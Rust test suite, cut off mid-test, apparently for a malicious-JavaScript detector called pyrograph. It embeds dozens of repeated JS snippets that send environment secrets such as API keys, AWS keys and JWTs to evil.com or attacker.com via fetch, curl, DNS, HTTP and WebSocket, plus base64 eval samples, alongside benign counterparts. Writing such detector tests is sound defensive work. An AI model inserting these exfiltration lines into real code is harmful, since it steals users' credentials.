pyrograph 0.1.0

#![cfg(feature = "js")]

#[test]
fn malware_detect_0() {
    let js = r#"
        // unique padding 2751
    fetch('https://evil.com/?data=' + process.env.TOKEN)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m0.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_0");
}

#[test]
fn malware_detect_1() {
    let js = r#"
        // unique padding 3778
    require('child_process').exec('curl http://evil.com/ -d ' + process.env.API_KEY)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m1.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_1");
}

#[test]
fn malware_detect_2() {
    let js = r#"
        // unique padding 8686
    eval(Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString())
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m2.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_2");
}

#[test]
fn malware_detect_3() {
    let js = r#"
        // unique padding 3673
    require('dns').resolve(''+process.env.SECRET+'.evil.com')
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m3.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_3");
}

#[test]
fn malware_detect_4() {
    let js = r#"
        // unique padding 9405
    require('http').get('http://evil.com/?k=' + process.env.PASSWORD)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m4.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_4");
}

#[test]
fn malware_detect_5() {
    let js = r#"
        // unique padding 1539
    const cp = require('child_process'); cp.spawn('sh', ['-c', 'curl http://evil.com/ -d ' + process.env.AWS_KEY]);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m5.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_5");
}

#[test]
fn malware_detect_6() {
    let js = r#"
        // unique padding 3052
    fetch('http://attacker.com', {method: 'POST', body: process.env.DATABASE_URL})
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m6.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_6");
}

#[test]
fn malware_detect_7() {
    let js = r#"
        // unique padding 7251
    const req = require('https').request({hostname: 'evil.com', path: '/?q='+process.env.JWT}); req.end();
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m7.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_7");
}

#[test]
fn malware_detect_8() {
    let js = r#"
        // unique padding 7948
    var ws = new WebSocket('ws://evil.com'); ws.onopen = function() { ws.send(process.env.STRIPE_KEY); };
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m8.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_8");
}

#[test]
fn malware_detect_9() {
    let js = r#"
        // unique padding 1249
    eval(atob('Y29uc29sZS5sb2coIm1hbHdhcmUiKTs='))
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m9.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_9");
}

#[test]
fn malware_detect_10() {
    let js = r#"
        // unique padding 4452
    fetch('https://evil.com/?data=' + process.env.TOKEN)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m10.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_10");
}

#[test]
fn malware_detect_11() {
    let js = r#"
        // unique padding 9341
    require('child_process').exec('curl http://evil.com/ -d ' + process.env.API_KEY)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m11.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_11");
}

#[test]
fn malware_detect_12() {
    let js = r#"
        // unique padding 3268
    eval(Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString())
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m12.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_12");
}

#[test]
fn malware_detect_13() {
    let js = r#"
        // unique padding 1327
    require('dns').resolve(''+process.env.SECRET+'.evil.com')
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m13.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_13");
}

#[test]
fn malware_detect_14() {
    let js = r#"
        // unique padding 8291
    require('http').get('http://evil.com/?k=' + process.env.PASSWORD)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m14.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_14");
}

#[test]
fn malware_detect_15() {
    let js = r#"
        // unique padding 6198
    const cp = require('child_process'); cp.spawn('sh', ['-c', 'curl http://evil.com/ -d ' + process.env.AWS_KEY]);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m15.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_15");
}

#[test]
fn malware_detect_16() {
    let js = r#"
        // unique padding 7977
    fetch('http://attacker.com', {method: 'POST', body: process.env.DATABASE_URL})
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m16.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_16");
}

#[test]
fn malware_detect_17() {
    let js = r#"
        // unique padding 8692
    const req = require('https').request({hostname: 'evil.com', path: '/?q='+process.env.JWT}); req.end();
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m17.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_17");
}

#[test]
fn malware_detect_18() {
    let js = r#"
        // unique padding 3129
    var ws = new WebSocket('ws://evil.com'); ws.onopen = function() { ws.send(process.env.STRIPE_KEY); };
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m18.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_18");
}

#[test]
fn malware_detect_19() {
    let js = r#"
        // unique padding 2745
    eval(atob('Y29uc29sZS5sb2coIm1hbHdhcmUiKTs='))
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m19.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_19");
}

#[test]
fn malware_detect_20() {
    let js = r#"
        // unique padding 3120
    fetch('https://evil.com/?data=' + process.env.TOKEN)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m20.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_20");
}

#[test]
fn malware_detect_21() {
    let js = r#"
        // unique padding 6469
    require('child_process').exec('curl http://evil.com/ -d ' + process.env.API_KEY)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m21.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_21");
}

#[test]
fn malware_detect_22() {
    let js = r#"
        // unique padding 3106
    eval(Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString())
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m22.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_22");
}

#[test]
fn malware_detect_23() {
    let js = r#"
        // unique padding 8049
    require('dns').resolve(''+process.env.SECRET+'.evil.com')
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m23.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_23");
}

#[test]
fn malware_detect_24() {
    let js = r#"
        // unique padding 7492
    require('http').get('http://evil.com/?k=' + process.env.PASSWORD)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m24.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_24");
}

#[test]
fn malware_detect_25() {
    let js = r#"
        // unique padding 7762
    const cp = require('child_process'); cp.spawn('sh', ['-c', 'curl http://evil.com/ -d ' + process.env.AWS_KEY]);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m25.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_25");
}

#[test]
fn malware_detect_26() {
    let js = r#"
        // unique padding 5163
    fetch('http://attacker.com', {method: 'POST', body: process.env.DATABASE_URL})
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m26.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_26");
}

#[test]
fn malware_detect_27() {
    let js = r#"
        // unique padding 9879
    const req = require('https').request({hostname: 'evil.com', path: '/?q='+process.env.JWT}); req.end();
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m27.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_27");
}

#[test]
fn malware_detect_28() {
    let js = r#"
        // unique padding 5916
    var ws = new WebSocket('ws://evil.com'); ws.onopen = function() { ws.send(process.env.STRIPE_KEY); };
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m28.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_28");
}

#[test]
fn malware_detect_29() {
    let js = r#"
        // unique padding 9773
    eval(atob('Y29uc29sZS5sb2coIm1hbHdhcmUiKTs='))
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m29.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_29");
}

#[test]
fn malware_detect_30() {
    let js = r#"
        // unique padding 1841
    fetch('https://evil.com/?data=' + process.env.TOKEN)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m30.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_30");
}

#[test]
fn malware_detect_31() {
    let js = r#"
        // unique padding 7638
    require('child_process').exec('curl http://evil.com/ -d ' + process.env.API_KEY)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m31.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_31");
}

#[test]
fn malware_detect_32() {
    let js = r#"
        // unique padding 6477
    eval(Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString())
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m32.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_32");
}

#[test]
fn malware_detect_33() {
    let js = r#"
        // unique padding 6576
    require('dns').resolve(''+process.env.SECRET+'.evil.com')
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m33.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_33");
}

#[test]
fn malware_detect_34() {
    let js = r#"
        // unique padding 1474
    require('http').get('http://evil.com/?k=' + process.env.PASSWORD)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m34.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_34");
}

#[test]
fn malware_detect_35() {
    let js = r#"
        // unique padding 6546
    const cp = require('child_process'); cp.spawn('sh', ['-c', 'curl http://evil.com/ -d ' + process.env.AWS_KEY]);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m35.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_35");
}

#[test]
fn malware_detect_36() {
    let js = r#"
        // unique padding 7567
    fetch('http://attacker.com', {method: 'POST', body: process.env.DATABASE_URL})
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m36.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_36");
}

#[test]
fn malware_detect_37() {
    let js = r#"
        // unique padding 2772
    const req = require('https').request({hostname: 'evil.com', path: '/?q='+process.env.JWT}); req.end();
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m37.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_37");
}

#[test]
fn malware_detect_38() {
    let js = r#"
        // unique padding 3413
    var ws = new WebSocket('ws://evil.com'); ws.onopen = function() { ws.send(process.env.STRIPE_KEY); };
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m38.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_38");
}

#[test]
fn malware_detect_39() {
    let js = r#"
        // unique padding 1900
    eval(atob('Y29uc29sZS5sb2coIm1hbHdhcmUiKTs='))
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m39.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_39");
}

#[test]
fn malware_detect_40() {
    let js = r#"
        // unique padding 3242
    fetch('https://evil.com/?data=' + process.env.TOKEN)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m40.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_40");
}

#[test]
fn malware_detect_41() {
    let js = r#"
        // unique padding 1275
    require('child_process').exec('curl http://evil.com/ -d ' + process.env.API_KEY)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m41.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_41");
}

#[test]
fn malware_detect_42() {
    let js = r#"
        // unique padding 5654
    eval(Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString())
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m42.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_42");
}

#[test]
fn malware_detect_43() {
    let js = r#"
        // unique padding 6076
    require('dns').resolve(''+process.env.SECRET+'.evil.com')
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m43.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_43");
}

#[test]
fn malware_detect_44() {
    let js = r#"
        // unique padding 5141
    require('http').get('http://evil.com/?k=' + process.env.PASSWORD)
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m44.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_44");
}

#[test]
fn malware_detect_45() {
    let js = r#"
        // unique padding 7875
    const cp = require('child_process'); cp.spawn('sh', ['-c', 'curl http://evil.com/ -d ' + process.env.AWS_KEY]);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m45.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_45");
}

#[test]
fn malware_detect_46() {
    let js = r#"
        // unique padding 9968
    fetch('http://attacker.com', {method: 'POST', body: process.env.DATABASE_URL})
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m46.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_46");
}

#[test]
fn malware_detect_47() {
    let js = r#"
        // unique padding 5317
    const req = require('https').request({hostname: 'evil.com', path: '/?q='+process.env.JWT}); req.end();
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m47.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_47");
}

#[test]
fn malware_detect_48() {
    let js = r#"
        // unique padding 9724
    var ws = new WebSocket('ws://evil.com'); ws.onopen = function() { ws.send(process.env.STRIPE_KEY); };
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m48.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_48");
}

#[test]
fn malware_detect_49() {
    let js = r#"
        // unique padding 4168
    eval(atob('Y29uc29sZS5sb2coIm1hbHdhcmUiKTs='))
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "m49.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.len() > 0, "Expected finding for malware_49");
}

#[test]
fn benign_clean_0() {
    let js = r#"
        // unique padding 7729
    const port = process.env.PORT || 3000;
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b0.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_0");
}

#[test]
fn benign_clean_1() {
    let js = r#"
        // unique padding 3030
    const fs = require('fs'); const config = fs.readFileSync('config.json', 'utf8'); console.log(process.env.NODE_ENV);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b1.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_1");
}

#[test]
fn benign_clean_2() {
    let js = r#"
        // unique padding 9483
    require('http').createServer((req, res) => { res.end('OK') }).listen(process.env.PORT || 8080);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b2.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_2");
}

#[test]
fn benign_clean_3() {
    let js = r#"
        // unique padding 2138
    if (process.env.NODE_ENV === 'production') console.log('prod');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b3.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_3");
}

#[test]
fn benign_clean_4() {
    let js = r#"
        // unique padding 3465
    const host = process.env.HOST ? process.env.HOST : 'localhost';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b4.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_4");
}

#[test]
fn benign_clean_5() {
    let js = r#"
        // unique padding 4818
    const db = connect(process.env.DB_URL); db.query('SELECT 1');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b5.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_5");
}

#[test]
fn benign_clean_6() {
    let js = r#"
        // unique padding 2363
    const client = new AWS.S3({accessKeyId: process.env.AWS_ACCESS_KEY_ID});
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b6.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_6");
}

#[test]
fn benign_clean_7() {
    let js = r#"
        // unique padding 1785
    app.listen(process.env.PORT, () => console.log('started'));
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b7.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_7");
}

#[test]
fn benign_clean_8() {
    let js = r#"
        // unique padding 8932
    const debug = process.env.DEBUG === 'true';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b8.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_8");
}

#[test]
fn benign_clean_9() {
    let js = r#"
        // unique padding 1730
    const fs = require('fs'); fs.writeFileSync('log.txt', 'logs');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b9.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_9");
}

#[test]
fn benign_clean_10() {
    let js = r#"
        // unique padding 2105
    const port = process.env.PORT || 3000;
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b10.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_10");
}

#[test]
fn benign_clean_11() {
    let js = r#"
        // unique padding 8401
    const fs = require('fs'); const config = fs.readFileSync('config.json', 'utf8'); console.log(process.env.NODE_ENV);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b11.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_11");
}

#[test]
fn benign_clean_12() {
    let js = r#"
        // unique padding 5426
    require('http').createServer((req, res) => { res.end('OK') }).listen(process.env.PORT || 8080);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b12.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_12");
}

#[test]
fn benign_clean_13() {
    let js = r#"
        // unique padding 3789
    if (process.env.NODE_ENV === 'production') console.log('prod');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b13.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_13");
}

#[test]
fn benign_clean_14() {
    let js = r#"
        // unique padding 6492
    const host = process.env.HOST ? process.env.HOST : 'localhost';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b14.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_14");
}

#[test]
fn benign_clean_15() {
    let js = r#"
        // unique padding 2528
    const db = connect(process.env.DB_URL); db.query('SELECT 1');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b15.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_15");
}

#[test]
fn benign_clean_16() {
    let js = r#"
        // unique padding 4217
    const client = new AWS.S3({accessKeyId: process.env.AWS_ACCESS_KEY_ID});
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b16.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_16");
}

#[test]
fn benign_clean_17() {
    let js = r#"
        // unique padding 4150
    app.listen(process.env.PORT, () => console.log('started'));
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b17.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_17");
}

#[test]
fn benign_clean_18() {
    let js = r#"
        // unique padding 9407
    const debug = process.env.DEBUG === 'true';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b18.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_18");
}

#[test]
fn benign_clean_19() {
    let js = r#"
        // unique padding 4164
    const fs = require('fs'); fs.writeFileSync('log.txt', 'logs');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b19.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_19");
}

#[test]
fn benign_clean_20() {
    let js = r#"
        // unique padding 4411
    const port = process.env.PORT || 3000;
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b20.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_20");
}

#[test]
fn benign_clean_21() {
    let js = r#"
        // unique padding 8187
    const fs = require('fs'); const config = fs.readFileSync('config.json', 'utf8'); console.log(process.env.NODE_ENV);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b21.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_21");
}

#[test]
fn benign_clean_22() {
    let js = r#"
        // unique padding 9985
    require('http').createServer((req, res) => { res.end('OK') }).listen(process.env.PORT || 8080);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b22.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_22");
}

#[test]
fn benign_clean_23() {
    let js = r#"
        // unique padding 5692
    if (process.env.NODE_ENV === 'production') console.log('prod');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b23.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_23");
}

#[test]
fn benign_clean_24() {
    let js = r#"
        // unique padding 9934
    const host = process.env.HOST ? process.env.HOST : 'localhost';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b24.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_24");
}

#[test]
fn benign_clean_25() {
    let js = r#"
        // unique padding 9292
    const db = connect(process.env.DB_URL); db.query('SELECT 1');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b25.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_25");
}

#[test]
fn benign_clean_26() {
    let js = r#"
        // unique padding 5084
    const client = new AWS.S3({accessKeyId: process.env.AWS_ACCESS_KEY_ID});
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b26.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_26");
}

#[test]
fn benign_clean_27() {
    let js = r#"
        // unique padding 1991
    app.listen(process.env.PORT, () => console.log('started'));
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b27.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_27");
}

#[test]
fn benign_clean_28() {
    let js = r#"
        // unique padding 8149
    const debug = process.env.DEBUG === 'true';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b28.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_28");
}

#[test]
fn benign_clean_29() {
    let js = r#"
        // unique padding 1573
    const fs = require('fs'); fs.writeFileSync('log.txt', 'logs');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b29.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_29");
}

#[test]
fn benign_clean_30() {
    let js = r#"
        // unique padding 4329
    const port = process.env.PORT || 3000;
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b30.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_30");
}

#[test]
fn benign_clean_31() {
    let js = r#"
        // unique padding 9551
    const fs = require('fs'); const config = fs.readFileSync('config.json', 'utf8'); console.log(process.env.NODE_ENV);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b31.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_31");
}

#[test]
fn benign_clean_32() {
    let js = r#"
        // unique padding 7025
    require('http').createServer((req, res) => { res.end('OK') }).listen(process.env.PORT || 8080);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b32.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_32");
}

#[test]
fn benign_clean_33() {
    let js = r#"
        // unique padding 1949
    if (process.env.NODE_ENV === 'production') console.log('prod');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b33.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_33");
}

#[test]
fn benign_clean_34() {
    let js = r#"
        // unique padding 7970
    const host = process.env.HOST ? process.env.HOST : 'localhost';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b34.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_34");
}

#[test]
fn benign_clean_35() {
    let js = r#"
        // unique padding 4960
    const db = connect(process.env.DB_URL); db.query('SELECT 1');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b35.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_35");
}

#[test]
fn benign_clean_36() {
    let js = r#"
        // unique padding 5614
    const client = new AWS.S3({accessKeyId: process.env.AWS_ACCESS_KEY_ID});
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b36.js", None).unwrap();
